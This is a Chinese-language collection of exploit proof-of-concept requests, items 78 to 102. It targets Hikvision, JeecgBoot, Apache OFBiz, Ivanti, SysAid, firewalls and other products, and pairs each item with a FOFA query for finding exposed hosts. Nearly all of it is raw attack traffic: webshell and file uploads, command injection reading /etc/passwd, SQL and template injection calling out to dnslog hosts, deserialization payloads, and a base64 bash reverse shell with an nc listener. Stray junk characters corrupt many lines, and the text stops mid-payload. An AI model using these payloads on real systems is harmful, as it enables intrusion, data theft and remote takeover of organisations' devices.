- I' t" x! L+ f! u4 F+ w% mHost: x.x.x.x
( X3 O/ p: c. h: GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
% a) q+ s; d3 TAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
0 B5 W) T. k. w( h& s8 s
------------398jnjVTTlDVXHlE7yYnfwBoix
' l% I, r+ @& K5 fContent-Disposition: form-data; name="folder"
3 V" H: a! U. N$ U
+ h1 e) m" i6 `- U& u6 _3 i/upload/udplog
; q) q8 n1 {# q3 q* k% f------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
8 w- z6 r" o& o3 GContent-Type: application/octet-stream
" T+ P( @4 n* Q
hello1234567
9 R9 k( x6 L/ S- S6 {& K. J; ]0 v) _" V------------398jnjVTTlDVXHlE7yYnfwBoix
1 `$ U7 k/ q/ J3 UContent-Disposition: form-data; name="Upload"

6 I. x4 y, r( }0 _Submit Query
; Y5 U% ?( B0 _1 P------------398jnjVTTlDVXHlE7yYnfwBoix--


; e9 E/ e$ F( k; A) W78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
6 p6 ~' p0 s6 z$ BFOFA：icon_hash="2001627082"
7 a, E8 L, `0 c9 q1 S) GPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
Accept-Encoding: gzip
5 v$ [) N4 x3 @3 n8 mContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
: q  F6 h* f( V1 a7 u; x: S$ I
YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
/ H) u! z2 w( N  z6 A1 tContent-Disposition: form-data; name="target"

: g7 `+ f! b! X7 \! K+ M, p4 t/Applications/SkillDevelopAndEHS/
- l% {& X& k) g! L8 r------YsOxWxSvj1KyZow1PTsh98fdu6l--
" G9 l% l% |# `7 c9 y

GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
2 U' ~1 @' q6 x/ _* A: w3 s# ^. \* w

! a8 }$ p& l: v% \+ Q! m6 I( q79. BYTEVALUE 百为流控路由器远程命令执行
8 w& P: s# z) p: HFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 b* U% E( S/ ~/ `2 k- |Accept-Encoding: gzip, deflate
3 p2 A$ x/ E8 C! UConnection: close
Upgrade-Insecure-Requests: 1


5 g: `  t4 {, [80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
1 O4 \2 Y( H" m# _0 @* L2 NPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
8 K. ]6 q1 _- hHost: x.x.x.x
) v. I5 C( N6 ~* _1 M3 RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
% T  y' m" Q) i- A* B, @$ I: G+ RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 ^( v$ w) g% d; N# c( v. FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 q: H1 f+ e' h) C- [Connection: close
Content-Type: application/octet-stream
! r+ T. E  P+ ^4 K0 CUpgrade-Insecure-Requests: 1
( x" T# S+ S1 e7 N# L
<% out.print("oessqeonylzaf");%>
. ~6 j) H% D7 s8 v" f; s
3 K9 F  y7 w+ _, M/ F, j3 g
GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
( P- f4 E8 }2 K- g6 m: k( OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& }+ s( ]' f/ T$ n% NConnection: close
Accept-Encoding: gzip

5 D7 D9 q* t- F
8 `4 L% u" F" m2 q0 L( F81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
4 [" _! x- `7 ^0 R% h# aFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
6 b5 e' H6 e+ F% ]( Q" D, ~8 l) K, ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip


82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
& _' \3 w4 O6 y; w8 K, ^# I( T  dFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
" S7 A+ T7 S7 I6 k# [4 J) rHost: BaseURL
User-Agent: Go-http-client/1.1
( c; h9 [8 \5 ~& z6 M% g) |) eContent-Length: 23
" f4 B  N4 B+ N$ A% jAccept-Encoding: gzip
% q) ], t, _  t+ a; e& rConnection: close
Content-Type: application/x-www-form-urlencoded
4 {- h5 a3 r! K  [1 U1 BReferer: BaseURL

z1=1&z2="|id;"&z3=bhost
* m- W6 A; j6 p
7 l6 e. j, u: D6 E4 I) q6 y2 J
83. JeecgBoot testConnection 远程命令执行
6 x# U, b9 h  g6 G& KFOFA：title=="JeecgBoot 企业级低代码平台"

& F' O: p9 @1 P7 g! x, x, B
POST /jmreport/testConnection HTTP/1.1
: B2 g1 @0 e' z& b- NHost: x.x.x.x
, S3 [8 Y9 g6 DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 k9 e. O" T2 _- x8 f" ], B, s2 {5 [$ TConnection: close
Content-Length: 8881
9 |' I* {8 z, \: u+ bAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

2 u. @& R: A! X6 P4 z* y. C. BPAYLOAD
: Y0 i- h  s/ G
+ g4 Y% {, j% `5 P3 ^1 i) ^84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
: O- G2 ^- A* o- d; k; D" }
- x+ X$ w5 r  {/ T/ N; L

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
) B9 ?5 L  d4 y' H& X( y( yUser-Agent: curl/7.88.1
" g9 p: f, P2 f- {2 ]9 QContent-Length: 156
  K) [; O) A3 v2 X9 [3 wAccept: */*
Connection: close
8 f6 [6 I. R+ _Content-Type: application/json
) U) Z; ?6 n, N. F% e$ x* TAccept-Encoding: gzip

{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
: w7 H) e0 F, G. P/ t. A6 `& L  N) u  "type": "0"
9 h0 l, q! M0 y, Q1 g}
# ]( `" c6 @8 T+ @4 J
) K, l! c7 g4 |  d( K) m, A
( r! J/ A. B  E1 |85. SysAid On-premise< 23.3.36远程代码执行
0 L$ W/ m. g7 qCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
/ e( K: p) n7 L! `! |4 OEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
! G7 f8 g- L& E; j! FHost: x.x.x.x
+ h( |$ X# `  Q2 T9 F$ YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 ?/ Y3 K6 P3 o6 z( H! CContent-Type: application/octet-stream
Accept-Encoding: gzip
3 Y: C& [, P1 X  H: A. J8 P
$ M6 e, s) H/ xPAYLOAD

7 E' n) o& h: D. M, n/ O1 v回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
/ ~: U% b  f# D( ~& P" IFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
( w% H) i5 g- a8 |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
8 \5 G! y2 B' k7 m; PContent-Length: 44
Accept: */*
Accept-Encoding: gzip
3 D: [: V: G  Z6 p! s2 z. {Accept-Language: en
Content-Type: application/x-www-form-urlencoded

0 b7 G9 m' G: @) [3 nhost=%0acat${IFS}/etc/passwd%0a&command=ping
2 ~) |4 L+ _0 Y: ]( ^

* f' ]! y. y# s, J/ w" ]87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
% [) e1 }$ }+ y& Y/ X3 w0 eHost: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: b6 c; B( d# g4 P. j. |5 X% gConnection: close
Content-Length: 198
* m5 W3 J( h: ^# EAccept-Encoding: gzip
4 j& q- z- j+ S/ b0 L$ @3 O/ [Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

--qqobiandqgawlxodfiisporjwravxtvd
/ f- q; C, M$ T- q+ BContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
7 r! N) w& M4 A  sContent-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

  c. `4 t, n0 }5 u
: r3 f. |7 n1 q  R; E4 j" z/jfhatuwe.php
, G/ Q7 o' G3 J9 V: z% c
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
' ^2 A, m, R' s; ]% e' a  tGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
% V- G" Q4 ~  P5 n* U8 S' XHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, q8 h1 a" {0 Z* A- n6 V2 e6 YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 B/ a( A% C! I& X5 I& EConnection: close

7 X+ s& J. n# e' ]/ n  i
9 T( J9 y& \) {/astdfkhl.php
' D* Y. ~' i( [
89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
7 n8 @8 d' K) K" f7 gPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
/ `6 F. V, ^& v# }! GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* P) d  a; C# \! {$ A1 H" e. t" yConnection: close
* [" R6 Q, g0 d0 u! d: }Content-Length: 41
+ B1 F) [8 |( T0 Q  o4 xContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
! b3 G: M1 Z& L6 k0 @( x3 E
option=2&GUID=-1'+union+select+111*222--+
8 T8 _+ d$ G( r6 g  n" V1 }; U3 T* r
& `1 b' R" r( s& x! O; q  N% d
) D, T$ X5 I) q+ v1 K$ z6 V3 i) Z3 z) @90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
5 G& y' n5 J2 {& KPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
! B# ^* a% ?" E: t3 R' uContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
: a6 Z! `5 F: N" vAccept-Encoding: gzip, deflate
: [2 q0 L. w6 A- M9 Y4 H6 AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 O7 R& T3 c: M, pConnection: close
Content-Type: application/x-www-form-urlencoded
* _1 `; j  d4 O4 LX-Requested-With: XMLHttpRequest
. S+ G% ]! P+ y% J6 k2 r/ h/ f
  Q9 s8 h0 \* g' I- A. Kjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
( f  n7 y9 _, l$ p

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
, C: R6 R3 h1 tHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
& p) U. K  _6 ~4 XAccept-Encoding: gzip, deflate
Accept: */*
3 \" h* h! J1 {9 k8 G! {% CConnection: keep-alive
1 P8 h- v* ]5 Z1 l& K: D


92. 海康威视运行管理中心session命令执行
Fastjson命令执行
5 w5 O8 _0 G. O- }- v* ?4 Ihunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
( W+ T& u* q. U1 ?  C$ z: ~2 j( xHost:
! F0 q+ K" }  B8 k$ G" U5 Y. CAccept: application/json, text/plain, */*
& K' p$ r& X4 B$ iAccept-Encoding: gzip, deflate
6 |- D. D+ Z7 v3 Y1 DX-Requested-With: XMLHttpRequest
( b; H9 N; o# D# b8 a8 kContent-Type: application/json;charset=UTF-8
# U8 N7 n7 i0 L9 ^7 q- v/ nX-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
; J7 I4 s1 [. _Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

PAYLOAD
' @4 a; X. f( C5 A! f5 q) H5 P2 q

* P6 }  o" J% W* a4 c' z  a93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
2 ]- m) ]; G* a8 D9 nPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
! p; B- X! E- d( }* F  }3 qContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
0 @+ Y8 D" q1 _) UUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! i" X! e' K: s5 s% K6 m! y
- e4 U5 p; N; f) [: ?1 d, }* G( _------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
' A: W8 B  H4 ]6 |+ x4 b% [
10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
& ^) T: H5 U! w+ n9 l% ^Content-Type: text/plain
5 c( Z- @6 O1 P1 N* P2 M
wagletqrkwrddkthtulxsqrphulnknxa
8 H' r) Y( F- z! n2 K# Y0 C9 q------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
) H1 C* ^3 h( [( ]2 s9 ^------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
. V, C1 h4 x; Z; E  [: U. X
- M1 W0 F* g* ~& w' R. `
% J) H6 N2 y3 }( ?/ u4 BGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
! `* y7 W  K$ E+ T9 J' F. a7 ]User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
1 R' z2 p3 P9 J: }% [" L, [* TFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
  V% n5 L* e& @9 OPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
  r! X# D6 n! j& ]/ p6 }: ^# G
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
" q$ c* {. Y% x- j; }( @8 }+ B8 a' C------WebKitFormBoundarybqvzqvmt
; U4 c0 ?: {+ {& f/ MContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
2 y- l/ Z# ]0 ]6 _0 y! aContent-Disposition: form-data; name="submit_post"

1 a6 x5 Y: W# s. R7 W# v  `3 _obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
$ m1 f3 z! u. V# c/ _------WebKitFormBoundarybqvzqvmt--
2 [( s) ^7 b& K7 X& |$ [
% Z4 O; p4 c  F9 P5 W
6 {: Y, K5 G7 O
GET /attachements/xlskxknxa.txt HTTP/1.1
/ Y& ~% w- N8 |, @Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
, r  C  [8 X. Q
+ T- S, E: t3 ?  a, N8 c2 |
+ y) Y/ F4 E3 J
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
" A% }6 g  V; S" y2 Y" }: hCVE-2023-49070
5 w+ {' g4 w: b. nFOFA：app="Apache_OFBiz"
% m9 S, o6 i6 v9 _" x( C8 y, ^8 ~POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
, ^+ O6 T- n( \9 V+ f, w7 |- I! L1 }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
! Y; c) C* |6 L2 tConnection: close
Content-Length: 889
- ~& U/ t5 U( AContent-Type: application/xml
Accept-Encoding: gzip
, l  K- [' d, W/ z7 T/ T
* E1 P% c* m8 {  C<?xml version="1.0"?>
  c$ K) ]# R# u# C2 [( A<methodCall>
9 Q; B* ?8 W6 \  K3 M/ q   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
% X. a# E; @  }1 D! u8 N    <params>
% c$ |0 P# m  G7 S' E      <param>
      <value>
- f& T& F0 g5 v+ w+ Z# D% Y        <struct>
       <member>
( l0 v9 d; Z8 E7 L9 F$ ?. n          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
: q3 U) z: j9 w" F! I, k      </value>
    </param>
0 g# Q- J# I/ S% e    </params>
</methodCall>
0 Z, {' U' C0 |$ q  ?, a$ ?2 ?
2 q0 ~3 ]9 @( p! s" k( [
用ysoserial生成payload
7 x6 Y/ n, j2 R0 r4 p6 sjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
+ g' c1 \6 j/ b( \8 N- {
' G. ]4 \$ I: u7 L, S. i
  J8 r& ~9 @; X7 g1 K将生成的payload替换到上面的POC
$ p9 x+ G6 K! v0 YPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
# F$ z  z2 y- ~# y( J5 t; V- F4 jContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

PAYLOAD
, _! k4 Q; Q9 ?% q7 Z
96. Apache OFBiz  18.12.11 groovy 远程代码执行
9 @+ k5 B; c0 V, a0 y* J. qFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
2 j: C/ }+ P  p5 O. v" b$ aHost: localhost:8443
" X6 K8 _2 a, t4 T# DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
$ H' [/ y/ E; X% D" vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' y2 c( q3 m  TContent-Type: application/x-www-form-urlencoded
Content-Length: 55

  ]3 Q6 f8 I# w4 G9 F8 v3 V$ xgroovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
在kali上启动一个监听
nc -lvp 7777

5 P( v- U# f0 `* n' V  WPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
! D6 q# L# O9 C& x' ?% N: gHost: 192.168.40.130:8443
/ g1 |, l; ?) |& ?. iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 E' z/ P: d" _4 UAccept: */*
% |$ [; V' w$ `/ o% iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
  r' y2 f8 A* I$ k! pContent-Length: 71
0 c* t3 s1 T. Z- l. }2 Z
( m3 v4 q# t3 QgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
+ h1 Q5 [" S) {( ~- @0 S8 RFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
' }0 @0 _- f  i- W" w) pGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& w/ I; e) x/ S  C! U1 eAccept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


) }/ K8 q8 t- I/ h( Y0 x98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
( O2 H& g0 ]3 q+ bFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
  e6 ^% }& L' i& a/ J2 h6 F: OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
$ P1 u/ }7 V3 T  vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
/ {) G* q$ d5 h5 g* kX-Requested-With: XMLHttpRequest
; g$ T3 ^/ h+ I3 j+ u
+ ~2 }9 B) l5 S/ t% did=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

5 @7 b% a0 {# q' m6 ?0 O* b
# |4 }0 T6 ^. p2 {& V+ Q7 O8 X99. Ncast盈可视高清智能录播系统busiFacade RCE
4 i9 Z4 |* o5 x( }. xCVE-2024-0305
( E+ T7 H0 S$ dFOFA：app="Ncast-产品" && title=="高清智能录播系统"
. c, N. t, d! I, kPOST /classes/common/busiFacade.php HTTP/1.1
3 _( Q& `/ m9 O3 SHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
Accept: */*
5 ~3 O. i8 @5 v& _- o1 VAccept-Encoding: gzip, deflate
# T' E4 D# v$ t9 kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
3 A' V3 }5 y! r3 n: v: w4 G4 YX-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


6 x# e0 [' U7 C6 r100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
5 F% A( e& U9 q. y3 _+ EHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
& t- ?( _) [2 t0 x! FConnection: close
Content-Length: 201
# t7 L$ I' q' V0 B9 M& a5 `8 ]) wContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
. a$ D$ z* t9 e' Z1 t4 jAccept-Encoding: gzip
: ~) P& V& ^8 p  L: {
0 j7 {* a% j& ]: H/ J$ B: Q4 h% F------WebKitFormBoundarygcflwtei
0 s/ Z$ c7 h5 f2 r( zContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
7 O; I/ Z" I- w. e* P; c3 ?7 ?
2ayyhRXiAsKXL8olvF5s4qqyI2O
( |9 V5 Y# e. @2 L; H- s3 U------WebKitFormBoundarygcflwtei--


3 @0 r. n. Q; H101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
8 d2 @1 r; ~9 h( A( ~Host: x.x.x.xx.x.x.x
8 @" c6 ]* }, g( }7 |! `& sUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' _0 s( h; M! n' G6 x! i, h7 r9 LConnection: close
2 O, g# @3 H6 `4 ^Accept-Encoding: gzip

) y7 z# }  v, J2 t6 i0 K5 ]
! q+ O* {1 z6 l102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
  i9 w# q* W) T' XCVE-2024-21893
, w) A6 u$ ~/ R. `, G& zFOFA：body="welcome.cgi?p=logo"
% C# m# F/ z/ U% X  ZPOST /dana-ws/saml20.ws HTTP/1.1
4 Z$ L) w7 Y- b+ n* O$ Z  j; W' l+ RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
2 C4 }7 X* T: Z  E, LConnection: close
" s$ ~, Y( H1 F6 }  C0 }Content-Length: 792
Accept-Encoding: gzip
/ w0 f% N0 ~' `
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  